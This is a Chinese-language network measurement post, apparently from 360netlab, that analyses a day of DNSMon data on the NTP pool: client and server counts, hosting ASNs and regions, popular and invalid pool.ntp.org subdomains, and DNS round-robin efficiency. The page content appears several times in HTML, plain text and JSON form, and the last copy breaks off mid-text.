1 4847|China_Networks_Inter-Exchange
1 4780|Digital_United_Inc.
1 4609|Companhia_de_Telecomunicacoes_de_Macau_SARL
1 45102|Alibaba_(US)_Technology_Co.,_Ltd.
1 4134|No.31,Jin-rong_Street
1 23734|Netrouting_Inc
1 17964|Beijing_Dian-Xin-Tong_Network_Technologies_Co.,_Ltd.
1 139240|Starch_Works
1 131584|Taiwan_Intelligent_Fiber_Optic_Network_Co.,Ltd.
</code></pre>
<p>从地理位置看来，在NTP pool中的国内的IP主要集中在香港，台湾，广东和北京。具体分布如下:</p>
<pre><code> 18 Hong_Kong
11 Taiwan
9 Guangdong
6 Beijing
4 Liaoning
2 Shandong
1 Zhejiang
1 Sichuan
1 Macau
1 Guangxi
</code></pre>
<h4 id="ntppool">NTP pool的子域名分布</h4>
<p>NTP pool的子域名是指在 pool.ntp.org下的子域名。现在子域名的类别主要按照三种方式划分：</p>
<ul>
<li>按照大洲划分</li>
<li>按照国家划分</li>
<li>按照供应商划分</li>
</ul>
<p>其中按照大洲和国家都是基于地理分区的理念进行划分的，其核心思想和DNS中的ECS类似，尽量提供与用户来源地理位置接近的NTP服务器。<br>
按供应商划分是NTP pool为特定的供应商（路由器厂商，操作系统，其他软硬件厂商）提供的具有高标识度的子域名。供应商可以在其产品内部直接使用NTP pool为其提供的子域名。形如：</p>
<pre><code>0.vendor.pool.ntp.org
1.vendor.pool.ntp.org
2.vendor.pool.ntp.org
3.vendor.pool.ntp.org
</code></pre>
<p>具体NTP pool为供应商提供服务的细节请参考<a href="https://www.ntppool.org/en/vendors.html">这里</a>[5]。</p>
<h5 id="">子域名的基本情况</h5>
<p>经过统计，在24小时内，DNSMon中共有682个NTP Pool域名的访问，其中有534个有效子域名，148个无效子域名（见下一节内容）。其中头部的子域名如下，和预想的一致，主要是基于国家和地区如：cn/hk/tw/jp/sg和基于大洲asia的访问。另一个角度则是基于android/openwrt/centos等OS的访问，还有就是不带有任何属性的原生 [0-3].pool.ntp.org的访问。</p>
<pre><code> 146677 "cn.pool.ntp.org"
145710 "asia.pool.ntp.org"
143637 "2.android.pool.ntp.org"
109730 "1.cn.pool.ntp.org"
109123 "hk.pool.ntp.org"
108859 "tw.pool.ntp.org"
107648 "jp.pool.ntp.org"
107471 "sg.pool.ntp.org"
93682 "2.asia.pool.ntp.org"
91415 "0.pool.ntp.org"
82659 "pool.ntp.org"
81139 "0.cn.pool.ntp.org"
77800 "0.asia.pool.ntp.org"
77077 "2.pool.ntp.org"
73512 "3.cn.pool.ntp.org"
72855 "1.asia.pool.ntp.org"
71965 "2.openwrt.pool.ntp.org"
71907 "3.pool.ntp.org"
70814 "1.pool.ntp.org"
70158 "0.centos.pool.ntp.org"
</code></pre>
<h5 id="">不同供应商的访问差异</h5>
<p>在TOP的子域名中，我们看到了android/openwrt/centos等供应商的信息，这引起了我们的好奇，我们想知道目前利用NTP pool提供时间服务的供应商都有哪些以及他们对应的访问量又如何。基于这个数据，我们对供应商部分做了整理，按照其访问次数统计之后的词云如下：</p>
<p><img src="__GHOST_URL__/content/images/2020/05/vendor_tag_cloud.png" alt="vendor_tag_cloud" loading="lazy"></p>
<p>供应商中既包含了常见的Linux的发行版本信息，也有做网络相关设备的厂家，还有一些消费类的智能设备以及安全类的网络产品。通过NTP pool的子域名分析，得到的这些信息某种程度上存在一定的信息泄漏，需要NTP pool和各厂家重视来解决它。</p>
<h5 id="">无效子域名情况</h5>
<p>从这24小时的数据中，我们发现有接近3%的NTP pool的DNS请求域名是无效的，无效域名共有148个（其中曾经提供过NTP时间同步服务但是退出的域名只有ap.pool.ntp.org，其余的域名均无提供过NTP时间同步服务）。这可能也是导致部分互联网设备无法有效进行时间同步的一个原因。</p>
<p>根据已有的数据，目前看到的原因主要是如下三个：</p>
<ul>
<li>联网设备是老设备，系统软件没有更新导致内置的NTP pool域名服务器停止服务之后，没有更新到新的域名上来，如刚才提到的域名：<em>ap.pool.ntp.org</em></li>
<li>初始内置的NTP pool域名有typo的情况，比如：<em>asis.pool.ntp.org,asian.pool.ntp.org</em> 等。</li>
<li>NTP客户端在实现同步的时候，存在bug，导致请求了错误的域名，增加了错误的前缀“www”，比如：<em>www.africa.pool.ntp.org, www.europe.pool.ntp.org，www.oceania.pool.ntp.org</em> 等。</li>
</ul>
<p>其中TOP 50的域名及其请求次数(占总无效请求次数的98.26%)如下：</p>
<pre><code> 18468 "2.generic.pool.ntp.org"
18423 "1.generic.pool.ntp.org"
18407 "0.generic.pool.ntp.org"
18374 "3.generic.pool.ntp.org"
3676 "4.pool.ntp.org"
1538 "www.2.android.pool.ntp.org"
1372 "www.africa.pool.ntp.org"
1360 "www.europe.pool.ntp.org"
1357 "www.south-america.pool.ntp.org"
1339 "www.asia.pool.ntp.org"
1331 "4.asia.pool.ntp.org"
1318 "www.oceania.pool.ntp.org"
1306 "www.north-america.pool.ntp.org"
1285 "ntp.pool.ntp.org"
1252 "asian.pool.ntp.org"
1212 "north.pool.ntp.org"
1163 "south.pool.ntp.org"
1121 "e.g.pool.ntp.org"
1014 "0.ol.pool.ntp.org"
1000 "1.ol.pool.ntp.org"
997 "3.ol.pool.ntp.org"
980 "2.ol.pool.ntp.org"
927 "0.vmware.pool.ntp.org1.vmware.pool.ntp.org"
893 "www.1.centos.pool.ntp.org"
891 "www.0.centos.pool.ntp.org"
856 "www.0.asia.pool.ntp.org"
639 "sg.cn.pool.ntp.org"
548 "5.pool.ntp.org"
445 "cn1.pool.ntp.org"
411 "asis.pool.ntp.org"
402 "china.pool.ntp.org"
362 "-pcn.pool.ntp.org"
320 "n.pool.ntp.org"
320 "america.pool.ntp.org"
215 "2.euleros.pool.ntp.org"
205 "2.android2.pool.ntp.org"
198 "0.euleros.pool.ntp.org"
192 "2.android1.pool.ntp.org"
190 "3.euleros.pool.ntp.org"
185 "1.euleros.pool.ntp.org"
178 "4.cn.pool.ntp.org"
157 "172.130.192.250.cn.pool.ntp.org"
136 "norch-america.pool.ntp.org"
136 "1.librecmc.pool.ntp.org"
129 "2.librecmc.pool.ntp.org"
125 "qqqqqqq2.android.pool.ntp.org"
121 "0.librecmc.pool.ntp.org"
119 "aisa.pool.ntp.org"
118 "3.librecmc.pool.ntp.org"
103 "0.isoft.pool.ntp.org"
</code></pre>
<h4 id="ntppooldns">NTP pool DNS轮询的效率</h4>
<p>之前提到，NTP pool基于池子域名使用DNS轮询来提供所需的服务器IP给客户端使用。通过DNSMon可以清楚的看到其DNS轮询效率如何，统计DNS中A/AAAA记录的rrset组合频次是一个评估轮询效率的方法。理论上来说，如果负载均衡足够好的话，不同的IP互相组合成rrset的机会是均等的。</p>
<p>不过由于实际操作中受到地理位置，不同服务器的服务能力以及不同服务器的服务策略的影响，不同IP组合为rrset的数量会相差甚远。经过统计我们发现，验证了NTP pool返回给用户的不同的服务器IP组成的rrset差别非常大。</p>
<p>我们的数据显示，在3758个IP存在414252个rrset，其中TOP4000的rrset（1%）占总记录数的41.21%。不同rrset的累积分布图如下：</p>
<p><img src="__GHOST_URL__/content/images/2020/05/cdf.png" alt="cdf" loading="lazy"></p>
<h2 id="">结论</h2>
<ol>
<li>从DNS角度可以很好的评估基于DNS的各种业务，NTP pool是一个很典型的例子。</li>
<li>NTP pool的服务器IP数量在4000台左右，用户数量则远超1500万。</li>
<li>国内在NTP pool服务器贡献较少，并且主要集中在香港和台湾地区，大陆主要集中在广东，北京等发达省市。</li>
<li>NTP pool子域名的访问从地理位置来看大体上是成功的。但是由于多种策略的原因，在国内来看，不同服务器之间负载存在较大的差异。</li>
<li>在实际使用中，大约3%的NTP pool请求的域名是无效的，并且几乎所有的无效域名从未有过NTP pool的时间同步服务。</li>
<li>从NTP pool的供应商类型的子域名的DNS请求数据可以很好的对具体供应商的规模和业务进行评估。由此引起的安全问题，需要引起供应商，尤其是面向个人消费者的供应商和NTP pool的重视。</li>
</ol>
<!--kg-card-end: markdown--><h2 id="-">参考资料：</h2><ol><li><a href="https://weberblog.net/why-should-i-run-own-ntp-servers/">https://weberblog.net/why-should-i-run-own-ntp-servers/</a></li><li><a href="https://zh.wikipedia.org/wiki/NTP_pool">https://zh.wikipedia.org/wiki/NTP_pool</a></li><li><a href="https://www.pool.ntp.org/en/vendors.html#pool-capacity">https://www.pool.ntp.org/en/vendors.html#pool-capacity</a></li><li><a href="https://www.ntppool.org/zone">https://www.ntppool.org/zone</a></li><li><a href="https://www.ntppool.org/en/vendors.html">https://www.ntppool.org/en/vendors.html</a></li></ol> | 随着互联网的快速发展，其已经深入到日常生活中的方方面面，越来越多的业内人员对于网络基础设施的重要性有了非常深入的认识。不过谈到基础设施，通常都会谈及DNS协议，但是还有一个关键的协议NTP（Network Time Protocol）却没有得到应有的重视。
NTP是否能够良好的工作会影响到计算机系统的大部分基于时间判定的逻辑的正确运行。比如DNSSEC是否过期，IPSEC的隧道建立，TLS证书的有效性校验，个人密码的过期，crontab任务的执行等等[1]。
NTP协议同DNS类似，是互联网最古老的协议之一，主要作用如其名字所说，用来保持设备时间的同步。在我们使用的操作系统比如windows，Android或者Macos都配置有自己的NTP时间服务器来定期同步设备上的时间。
NTP pool 是什么？
由于互联网的发展以及NTP业务的特殊性（时间需要定期同步），少量的NTP服务器的负载越来越大，并且公共一级NTP授时服务器存在被滥用的问题，2003年1月NTP pool项目正式设立。
其基本原理通过域名“pool.ntp.org”基于特定规则划分为多个子域名并在这些子域名上使用DNS轮询来提供所需的服务器IP地址来给客户端使用，这种技术类似于恶意软件所使用的DNS的fastflux技术，不过要早很多。如果读者基于DNS数据做过fastflux的检测，那么对 pool.ntp.org必然不会陌生，它是去噪的主要对象。
关于NTP pool的更多内容请参考这里[2]。
DNSMon
DNSMon是360netlab开发的基于海量DNS数据（国内5%左右的DNS流量）并结合whois，web，沙箱，蜜罐等多维度数据，对恶意域名进行综合分析，提取和拦截的安全系统。每天可以产生上千条恶意和高可疑域名黑名单，服务于国内大约2000万用户，并已稳定运行2年半。在无规则前提下，已拦截MSRAMiner，GodLua等十余种挖矿，DDoS等僵尸网络。
从DNS数据看NTP pool业务
NTP pool的这种利用少量域名使用DNS轮询来提供IP地址的服务由于访问量巨大，并且映射到大量的分散的IP地址，在DNSMon 中是非常显眼的存在。
从DNS角度除了能够对NTP pool自身业务规模的评估之外，还可以对互联网业务做到大致的评估，毕竟几乎所有的联网设备都要进行时间同步（从DNSMon的数据来看确实有少量的联网设备存在时间漂移问题，设备数量大概不到总数的万分之二）。
为了准确的评估NTP pool的业务情况，我们从DNSMon中选取了20200519 18:00 ～ 20200520 18:00 24小时NTP pool的数据分别从NTP pool自身业务以及使用该服务的互联网用户角度来进行评估。
服务用户数
NTP pool在其官网显示其服务用户数量在500万～1500万之间[3],服务器IP则在4000左右[4]。我们利用DNSMon对其在国内的业务规模做一个简单的评估。
在所收集数据的24小时期间，共有88万不同的客户端访问了NTP pool所提供的时间同步服务。考虑到我们系统的数据覆盖，在国内使用NTP pool时间同步服务的用户数量就会接近其官网声明的用户数量的上限。
服务器情况
基本统计
NTP pool服务器IP数量3758个，其中IPv6：1028个，IPv4:2730个，分布在全球97个国家和地区。主要集中在美、德、法、英、荷、加等网络比较发达的国家，具体分布图如下：
NTP服务器在国内的情况
从上图可以看出，国内NTP服务器的IP个数只占总NTP pool内活跃IP数量的2%。这一数值比其他网络服务所占比例要低的多。
从运营商角度来看，在NTP pool中的国内的运营商共有25家，具体分布如下：
7 3462|Data_Communication_Business_Group
6 37963|Hangzhou_Alibaba_Advertising_Co.,Ltd.
5 4538|China_Education_and_Research_Network_Center
5 45090|Shenzhen_Tencent_Computer_Systems_Company_Limited
4 132203|Tencent_Building,_Kejizhongyi_Avenue
3 4808|China_Unicom_Beijing_Province_Network
2 9381|HKBN_Enterprise_Solutions_HK_Limited
2 9304|HGC_Global_Communications_Limited
2 36351|SoftLayer_Technologies_Inc.
2 133752|Leaseweb_Asia_Pacific_pte._ltd.
2 10229|Internet_Content_Provider
1 9312|xTom
1 8075|Microsoft_Corporation
1 58461|No.288,Fu-chun_Road
1 55990|Huawei_Cloud_Service_data_center
1 5580|Hibernia_Networks_(Netherlands)_BV
1 4847|China_Networks_Inter-Exchange
1 4780|Digital_United_Inc.
1 4609|Companhia_de_Telecomunicacoes_de_Macau_SARL
1 45102|Alibaba_(US)_Technology_Co.,_Ltd.
1 4134|No.31,Jin-rong_Street
1 23734|Netrouting_Inc
1 17964|Beijing_Dian-Xin-Tong_Network_Technologies_Co.,_Ltd.
1 139240|Starch_Works
1 131584|Taiwan_Intelligent_Fiber_Optic_Network_Co.,Ltd.
从地理位置看来，在NTP pool中的国内的IP主要集中在香港，台湾，广东和北京。具体分布如下:
18 Hong_Kong
11 Taiwan
9 Guangdong
6 Beijing
4 Liaoning
2 Shandong
1 Zhejiang
1 Sichuan
1 Macau
1 Guangxi
NTP pool的子域名分布
NTP pool的子域名是指在 pool.ntp.org下的子域名。现在子域名的类别主要按照三种方式划分：
* 按照大洲划分
* 按照国家划分
* 按照供应商划分
其中按照大洲和国家都是基于地理分区的理念进行划分的，其核心思想和DNS中的ECS类似，尽量提供与用户来源地理位置接近的NTP服务器。
按供应商划分是NTP pool为特定的供应商（路由器厂商，操作系统，其他软硬件厂商）提供的具有高标识度的子域名。供应商可以在其产品内部直接使用NTP pool为其提供的子域名。形如：
0.vendor.pool.ntp.org
1.vendor.pool.ntp.org
2.vendor.pool.ntp.org
3.vendor.pool.ntp.org
具体NTP pool为供应商提供服务的细节请参考这里[5]。
子域名的基本情况
经过统计，在24小时内，DNSMon中共有682个NTP Pool域名的访问，其中有534个有效子域名，148个无效子域名（见下一节内容）。其中头部的子域名如下，和预想的一致，主要是基于国家和地区如：cn/hk/tw/jp/sg和基于大洲asia的访问。另一个角度则是基于android/openwrt/centos等OS的访问，还有就是不带有任何属性的原生 [0-3].pool.ntp.org的访问。
146677 "cn.pool.ntp.org"
145710 "asia.pool.ntp.org"
143637 "2.android.pool.ntp.org"
109730 "1.cn.pool.ntp.org"
109123 "hk.pool.ntp.org"
108859 "tw.pool.ntp.org"
107648 "jp.pool.ntp.org"
107471 "sg.pool.ntp.org"
93682 "2.asia.pool.ntp.org"
91415 "0.pool.ntp.org"
82659 "pool.ntp.org"
81139 "0.cn.pool.ntp.org"
77800 "0.asia.pool.ntp.org"
77077 "2.pool.ntp.org"
73512 "3.cn.pool.ntp.org"
72855 "1.asia.pool.ntp.org"
71965 "2.openwrt.pool.ntp.org"
71907 "3.pool.ntp.org"
70814 "1.pool.ntp.org"
70158 "0.centos.pool.ntp.org"
不同供应商的访问差异
在TOP的子域名中，我们看到了android/openwrt/centos等供应商的信息，这引起了我们的好奇，我们想知道目前利用NTP pool提供时间服务的供应商都有哪些以及他们对应的访问量又如何。基于这个数据，我们对供应商部分做了整理，按照其访问次数统计之后的词云如下：
供应商中既包含了常见的Linux的发行版本信息，也有做网络相关设备的厂家，还有一些消费类的智能设备以及安全类的网络产品。通过NTP pool的子域名分析，得到的这些信息某种程度上存在一定的信息泄漏，需要NTP pool和各厂家重视来解决它。
无效子域名情况
从这24小时的数据中，我们发现有接近3%的NTP pool的DNS请求域名是无效的，无效域名共有148个（其中曾经提供过NTP时间同步服务但是退出的域名只有ap.pool.ntp.org，其余的域名均无提供过NTP时间同步服务）。这可能也是导致部分互联网设备无法有效进行时间同步的一个原因。
根据已有的数据，目前看到的原因主要是如下三个：
* 联网设备是老设备，系统软件没有更新导致内置的NTP pool域名服务器停止服务之后，没有更新到新的域名上来，如刚才提到的域名：ap.pool.ntp.org
* 初始内置的NTP pool域名有typo的情况，比如：asis.pool.ntp.org,asian.pool.ntp.org 等。
* NTP客户端在实现同步的时候，存在bug，导致请求了错误的域名，增加了错误的前缀“www”，比如：www.africa.pool.ntp.org, www.europe.pool.ntp.org，www.oceania.pool.ntp.org 等。
其中TOP 50的域名及其请求次数(占总无效请求次数的98.26%)如下：
18468 "2.generic.pool.ntp.org"
18423 "1.generic.pool.ntp.org"
18407 "0.generic.pool.ntp.org"
18374 "3.generic.pool.ntp.org"
3676 "4.pool.ntp.org"
1538 "www.2.android.pool.ntp.org"
1372 "www.africa.pool.ntp.org"
1360 "www.europe.pool.ntp.org"
1357 "www.south-america.pool.ntp.org"
1339 "www.asia.pool.ntp.org"
1331 "4.asia.pool.ntp.org"
1318 "www.oceania.pool.ntp.org"
1306 "www.north-america.pool.ntp.org"
1285 "ntp.pool.ntp.org"
1252 "asian.pool.ntp.org"
1212 "north.pool.ntp.org"
1163 "south.pool.ntp.org"
1121 "e.g.pool.ntp.org"
1014 "0.ol.pool.ntp.org"
1000 "1.ol.pool.ntp.org"
997 "3.ol.pool.ntp.org"
980 "2.ol.pool.ntp.org"
927 "0.vmware.pool.ntp.org1.vmware.pool.ntp.org"
893 "www.1.centos.pool.ntp.org"
891 "www.0.centos.pool.ntp.org"
856 "www.0.asia.pool.ntp.org"
639 "sg.cn.pool.ntp.org"
548 "5.pool.ntp.org"
445 "cn1.pool.ntp.org"
411 "asis.pool.ntp.org"
402 "china.pool.ntp.org"
362 "-pcn.pool.ntp.org"
320 "n.pool.ntp.org"
320 "america.pool.ntp.org"
215 "2.euleros.pool.ntp.org"
205 "2.android2.pool.ntp.org"
198 "0.euleros.pool.ntp.org"
192 "2.android1.pool.ntp.org"
190 "3.euleros.pool.ntp.org"
185 "1.euleros.pool.ntp.org"
178 "4.cn.pool.ntp.org"
157 "172.130.192.250.cn.pool.ntp.org"
136 "norch-america.pool.ntp.org"
136 "1.librecmc.pool.ntp.org"
129 "2.librecmc.pool.ntp.org"
125 "qqqqqqq2.android.pool.ntp.org"
121 "0.librecmc.pool.ntp.org"
119 "aisa.pool.ntp.org"
118 "3.librecmc.pool.ntp.org"
103 "0.isoft.pool.ntp.org"
NTP pool DNS轮询的效率
之前提到，NTP pool基于池子域名使用DNS轮询来提供所需的服务器IP给客户端使用。通过DNSMon可以清楚的看到其DNS轮询效率如何，统计DNS中A/AAAA记录的rrset组合频次是一个评估轮询效率的方法。理论上来说，如果负载均衡足够好的话，不同的IP互相组合成rrset的机会是均等的。
不过由于实际操作中受到地理位置，不同服务器的服务能力以及不同服务器的服务策略的影响，不同IP组合为rrset的数量会相差甚远。经过统计我们发现，验证了NTP pool返回给用户的不同的服务器IP组成的rrset差别非常大。
我们的数据显示，在3758个IP存在414252个rrset，其中TOP4000的rrset（1%）占总记录数的41.21%。不同rrset的累积分布图如下：
结论
1. 从DNS角度可以很好的评估基于DNS的各种业务，NTP pool是一个很典型的例子。
2. NTP pool的服务器IP数量在4000台左右，用户数量则远超1500万。
3. 国内在NTP pool服务器贡献较少，并且主要集中在香港和台湾地区，大陆主要集中在广东，北京等发达省市。
4. NTP pool子域名的访问从地理位置来看大体上是成功的。但是由于多种策略的原因，在国内来看，不同服务器之间负载存在较大的差异。
5. 在实际使用中，大约3%的NTP pool请求的域名是无效的，并且几乎所有的无效域名从未有过NTP pool的时间同步服务。
6. 从NTP pool的供应商类型的子域名的DNS请求数据可以很好的对具体供应商的规模和业务进行评估。由此引起的安全问题，需要引起供应商，尤其是面向个人消费者的供应商和NTP pool的重视。
参考资料：
1. https://weberblog.net/why-should-i-run-own-ntp-servers/
2. https://zh.wikipedia.org/wiki/NTP_pool
3. https://www.pool.ntp.org/en/vendors.html#pool-capacity
4. https://www.ntppool.org/zone
5. https://www.ntppool.org/en/vendors.html | {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"## 从DNS数据看NTP pool业务\n\nNTP pool的这种利用少量域名使用DNS轮询来提供IP地址的服务由于访问量巨大，并且映射到大量的分散的IP地址，在DNSMon 中是非常显眼的存在。\n\n从DNS角度除了能够对NTP pool自身业务规模的评估之外，还可以对互联网业务做到大致的评估，毕竟几乎所有的联网设备都要进行时间同步（从DNSMon的数据来看确实有少量的联网设备存在时间漂移问题，设备数量大概不到总数的万分之二）。\n\n为了准确的评估NTP pool的业务情况，我们从DNSMon中选取了20200519 18:00 ～ 20200520 18:00 24小时NTP pool的数据分别从NTP pool自身业务以及使用该服务的互联网用户角度来进行评估。 \n\n### 服务用户数\nNTP pool在其官网显示其服务用户数量在500万～1500万之间[3],服务器IP则在4000左右[4]。我们利用DNSMon对其在国内的业务规模做一个简单的评估。\n\n在所收集数据的24小时期间，共有88万不同的客户端访问了NTP pool所提供的时间同步服务。考虑到我们系统的数据覆盖，在国内使用NTP pool时间同步服务的用户数量就会接近其官网声明的用户数量的上限。\n\n### 服务器情况\n#### 基本统计\nNTP pool服务器IP数量3758个，其中IPv6：1028个，IPv4:2730个，分布在全球97个国家和地区。主要集中在美、德、法、英、荷、加等网络比较发达的国家，具体分布图如下：\n\n\n\n#### NTP服务器在国内的情况\n从上图可以看出，国内NTP服务器的IP个数只占总NTP pool内活跃IP数量的2%。这一数值比其他网络服务所占比例要低的多。\n\n从运营商角度来看，在NTP pool中的国内的运营商共有25家，具体分布如下：\n```\n 7 3462|Data_Communication_Business_Group\n 6 37963|Hangzhou_Alibaba_Advertising_Co.,Ltd.\n 5 4538|China_Education_and_Research_Network_Center\n 5 45090|Shenzhen_Tencent_Computer_Systems_Company_Limited\n 4 132203|Tencent_Building,_Kejizhongyi_Avenue\n 3 4808|China_Unicom_Beijing_Province_Network\n 2 9381|HKBN_Enterprise_Solutions_HK_Limited\n 2 9304|HGC_Global_Communications_Limited\n 2 36351|SoftLayer_Technologies_Inc.\n 2 133752|Leaseweb_Asia_Pacific_pte._ltd.\n 2 10229|Internet_Content_Provider\n 1 9312|xTom\n 1 8075|Microsoft_Corporation\n 1 58461|No.288,Fu-chun_Road\n 1 55990|Huawei_Cloud_Service_data_center\n 1 5580|Hibernia_Networks_(Netherlands)_BV\n 1 4847|China_Networks_Inter-Exchange\n 1 4780|Digital_United_Inc.\n 1 4609|Companhia_de_Telecomunicacoes_de_Macau_SARL\n 1 45102|Alibaba_(US)_Technology_Co.,_Ltd.\n 1 4134|No.31,Jin-rong_Street\n 1 23734|Netrouting_Inc\n 1 17964|Beijing_Dian-Xin-Tong_Network_Technologies_Co.,_Ltd.\n 1 139240|Starch_Works\n 1 131584|Taiwan_Intelligent_Fiber_Optic_Network_Co.,Ltd.\n```\n从地理位置看来，在NTP pool中的国内的IP主要集中在香港，台湾，广东和北京。具体分布如下:\n```\n 18 Hong_Kong\n 11 Taiwan\n 9 Guangdong\n 6 Beijing\n 4 Liaoning\n 2 Shandong\n 1 Zhejiang\n 1 Sichuan\n 1 Macau\n 1 Guangxi\n```\n\n#### NTP pool的子域名分布\nNTP pool的子域名是指在 pool.ntp.org下的子域名。现在子域名的类别主要按照三种方式划分：\n\n * 按照大洲划分\n * 按照国家划分\n * 按照供应商划分\n\n其中按照大洲和国家都是基于地理分区的理念进行划分的，其核心思想和DNS中的ECS类似，尽量提供与用户来源地理位置接近的NTP服务器。\n按供应商划分是NTP pool为特定的供应商（路由器厂商，操作系统，其他软硬件厂商）提供的具有高标识度的子域名。供应商可以在其产品内部直接使用NTP pool为其提供的子域名。形如：\n```\n0.vendor.pool.ntp.org\n1.vendor.pool.ntp.org\n2.vendor.pool.ntp.org\n3.vendor.pool.ntp.org\n```\n具体NTP pool为供应商提供服务的细节请参考[这里](https://www.ntppool.org/en/vendors.html)[5]。\n\n##### 子域名的基本情况\n经过统计，在24小时内，DNSMon中共有682个NTP Pool域名的访问，其中有534个有效子域名，148个无效子域名（见下一节内容）。其中头部的子域名如下，和预想的一致，主要是基于国家和地区如：cn/hk/tw/jp/sg和基于大洲asia的访问。另一个角度则是基于android/openwrt/centos等OS的访问，还有就是不带有任何属性的原生 [0-3].pool.ntp.org的访问。\n\n```\n 146677 \"cn.pool.ntp.org\"\n 145710 \"asia.pool.ntp.org\"\n 143637 \"2.android.pool.ntp.org\"\n 109730 \"1.cn.pool.ntp.org\"\n 109123 \"hk.pool.ntp.org\"\n 108859 \"tw.pool.ntp.org\"\n 107648 \"jp.pool.ntp.org\"\n 107471 \"sg.pool.ntp.org\"\n 93682 \"2.asia.pool.ntp.org\"\n 91415 \"0.pool.ntp.org\"\n 82659 \"pool.ntp.org\"\n 81139 \"0.cn.pool.ntp.org\"\n 77800 \"0.asia.pool.ntp.org\"\n 77077 \"2.pool.ntp.org\"\n 73512 \"3.cn.pool.ntp.org\"\n 72855 \"1.asia.pool.ntp.org\"\n 71965 \"2.openwrt.pool.ntp.org\"\n 71907 \"3.pool.ntp.org\"\n 70814 \"1.pool.ntp.org\"\n 70158 \"0.centos.pool.ntp.org\"\n```\n##### 不同供应商的访问差异\n\n在TOP的子域名中，我们看到了android/openwrt/centos等供应商的信息，这引起了我们的好奇，我们想知道目前利用NTP pool提供时间服务的供应商都有哪些以及他们对应的访问量又如何。基于这个数据，我们对供应商部分做了整理，按照其访问次数统计之后的词云如下：\n\n\n\n供应商中既包含了常见的Linux的发行版本信息，也有做网络相关设备的厂家，还有一些消费类的智能设备以及安全类的网络产品。通过NTP pool的子域名分析，得到的这些信息某种程度上存在一定的信息泄漏，需要NTP pool和各厂家重视来解决它。\n\n##### 无效子域名情况\n从这24小时的数据中，我们发现有接近3%的NTP pool的DNS请求域名是无效的，无效域名共有148个（其中曾经提供过NTP时间同步服务但是退出的域名只有ap.pool.ntp.org，其余的域名均无提供过NTP时间同步服务）。这可能也是导致部分互联网设备无法有效进行时间同步的一个原因。\n\n根据已有的数据，目前看到的原因主要是如下三个：\n\n * 联网设备是老设备，系统软件没有更新导致内置的NTP pool域名服务器停止服务之后，没有更新到新的域名上来，如刚才提到的域名：*ap.pool.ntp.org*\n * 初始内置的NTP pool域名有typo的情况，比如：*asis.pool.ntp.org,asian.pool.ntp.org* 等。\n * NTP客户端在实现同步的时候，存在bug，导致请求了错误的域名，增加了错误的前缀“www”，比如：*www.africa.pool.ntp.org, www.europe.pool.ntp.org，www.oceania.pool.ntp.org* 等。\n\n\n其中TOP 50的域名及其请求次数(占总无效请求次数的98.26%)如下：\n```\n 18468 \"2.generic.pool.ntp.org\"\n 18423 \"1.generic.pool.ntp.org\"\n 18407 \"0.generic.pool.ntp.org\"\n 18374 \"3.generic.pool.ntp.org\"\n 3676 \"4.pool.ntp.org\"\n 1538 \"www.2.android.pool.ntp.org\"\n 1372 \"www.africa.pool.ntp.org\"\n 1360 \"www.europe.pool.ntp.org\"\n 1357 \"www.south-america.pool.ntp.org\"\n 1339 \"www.asia.pool.ntp.org\"\n 1331 \"4.asia.pool.ntp.org\"\n 1318 \"www.oceania.pool.ntp.org\"\n 1306 \"www.north-america.pool.ntp.org\"\n 1285 \"ntp.pool.ntp.org\"\n 1252 \"asian.pool.ntp.org\"\n 1212 \"north.pool.ntp.org\"\n 1163 \"south.pool.ntp.org\"\n 1121 \"e.g.pool.ntp.org\"\n 1014 \"0.ol.pool.ntp.org\"\n 1000 \"1.ol.pool.ntp.org\"\n 997 \"3.ol.pool.ntp.org\"\n 980 \"2.ol.pool.ntp.org\"\n 927 \"0.vmware.pool.ntp.org1.vmware.pool.ntp.org\"\n 893 \"www.1.centos.pool.ntp.org\"\n 891 \"www.0.centos.pool.ntp.org\"\n 856 \"www.0.asia.pool.ntp.org\"\n 639 \"sg.cn.pool.ntp.org\"\n 548 \"5.pool.ntp.org\"\n 445 \"cn1.pool.ntp.org\"\n 411 \"asis.pool.ntp.org\"\n 402 \"china.pool.ntp.org\"\n 362 \"-pcn.pool.ntp.org\"\n 320 \"n.pool.ntp.org\"\n 320 \"america.pool.ntp.org\"\n 215 \"2.euleros.pool.ntp.org\"\n 205 \"2.android2.pool.ntp.org\"\n 198 \"0.euleros.pool.ntp.org\"\n 192 \"2.android1.pool.ntp.org\"\n 190 \"3.euleros.pool.ntp.org\"\n 185 \"1.euleros.pool.ntp.org\"\n 178 \"4.cn.pool.ntp.org\"\n 157 \"172.130.192.250.cn.pool.ntp.org\"\n 136 \"norch-america.pool.ntp.org\"\n 136 \"1.librecmc.pool.ntp.org\"\n 129 \"2.librecmc.pool.ntp.org\"\n 125 \"qqqqqqq2.android.pool.ntp.org\"\n 121 \"0.librecmc.pool.ntp.org\"\n 119 \"aisa.pool.ntp.org\"\n 118 \"3.librecmc.pool.ntp.org\"\n 103 \"0.isoft.pool.ntp.org\"\n ```\n \n\n\n#### NTP pool DNS轮询的效率\n之前提到，NTP pool基于池子域名使用DNS轮询来提供所需的服务器IP给客户端使用。通过DNSMon可以清楚的看到其DNS轮询效率如何，统计DNS中A/AAAA记录的rrset组合频次是一个评估轮询效率的方法。理论上来说，如果负载均衡足够好的话，不同的IP互相组合成rrset的机会是均等的。\n\n不过由于实际操作中受到地理位置，不同服务器的服务能力以及不同服务器的服务策略的影响，不同IP组合为rrset的数量会相差甚远。经过统计我们发现，验证了NTP pool返回给用户的不同的服务器IP组成的rrset差别非常大。 \n\n我们的数据显示，在3758个IP存在414252个rrset，其中TOP4000的rrset（1%）占总记录数的41.21%。不同rrset的累积分布图如下：\n\n\n\n## 结论\n1. 从DNS角度可以很好的评估基于DNS的各种业务，NTP pool是一个很典型的例子。\n2. NTP pool的服务器IP数量在4000台左右，用户数量则远超1500万。\n3. 国内在NTP pool服务器贡献较少，并且主要集中在香港和台湾地区，大陆主要集中在广东，北京等发达省市。\n4. NTP pool子域名的访问从地理位置来看大体上是成功的。但是由于多种策略的原因，在国内来看，不同服务器之间负载存在较大的差异。\n5. 在实际使用中，大约3%的NTP pool请求的域名是无效的，并且几乎所有的无效域名从未有过NTP pool的时间同步服务。\n6. 从NTP pool的供应商类型的子域名的DNS请求数据可以很好的对具体供应商的规模和业务进行评估。由此引起的安全问题，需要引起供应商，尤其是面向个人消费者的供应商和NTP 